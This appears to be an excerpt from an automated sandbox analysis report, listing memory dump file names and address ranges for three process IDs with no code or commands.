                                                                                                                        memory/4004-5-0x0000018578010000-0x0000018578020000-memory.dmp

                                                                                                                        memory/4004-80-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4004-4-0x0000018578010000-0x0000018578020000-memory.dmp

                                                                                                                        memory/4004-11-0x0000018578020000-0x0000018578042000-memory.dmp

                                                                                                                        memory/4004-13-0x0000018578010000-0x0000018578020000-memory.dmp

                                                                                                                        memory/4004-14-0x0000018578390000-0x00000185791E6000-memory.dmp

                                                                                                                        memory/4004-17-0x00000185780D0000-0x0000018578128000-memory.dmp

                                                                                                                        memory/4004-21-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4004-24-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4004-20-0x0000018578130000-0x000001857813A000-memory.dmp

                                                                                                                        memory/4004-43-0x0000018578010000-0x0000018578020000-memory.dmp

                                                                                                                        memory/4004-44-0x0000018578010000-0x0000018578020000-memory.dmp

                                                                                                                        memory/4004-19-0x00007FFC3C190000-0x00007FFC3C24D000-memory.dmp

                                                                                                                        memory/4004-18-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4108-137-0x00000255755C0000-0x0000025575610000-memory.dmp

                                                                                                                        memory/4108-138-0x00000255758A0000-0x0000025575952000-memory.dmp

                                                                                                                        memory/4108-146-0x0000025575570000-0x000002557559E000-memory.dmp

                                                                                                                        memory/4108-52-0x0000025573F10000-0x00000255742A0000-memory.dmp

                                                                                                                        memory/4108-147-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4108-139-0x0000025575B30000-0x0000025575CF2000-memory.dmp

                                                                                                                        memory/4108-54-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4108-53-0x00000255742A0000-0x0000025574950000-memory.dmp

                                                                                                                        memory/4108-42-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4108-60-0x00007FFC3C190000-0x00007FFC3C24D000-memory.dmp

                                                                                                                        memory/4108-55-0x00007FFC3C190000-0x00007FFC3C24D000-memory.dmp

                                                                                                                        memory/4108-59-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4108-437-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp

                                                                                                                        memory/4992-152-0x00007FFC3C190000-0x00007FFC3C24D000-memory.dmp

                                                                                                                        memory/4992-162-0x0000000140000000-0x0000000140029000-memory.dmp

                                                                                                                        memory/4992-149-0x0000000140000000-0x0000000140029000-memory.dmp

                                                                                                                        memory/4992-150-0x0000000140000000-0x0000000140029000-memory.dmp

                                                                                                                        memory/4992-151-0x00007FFC3CB20000-0x00007FFC3CD29000-memory.dmp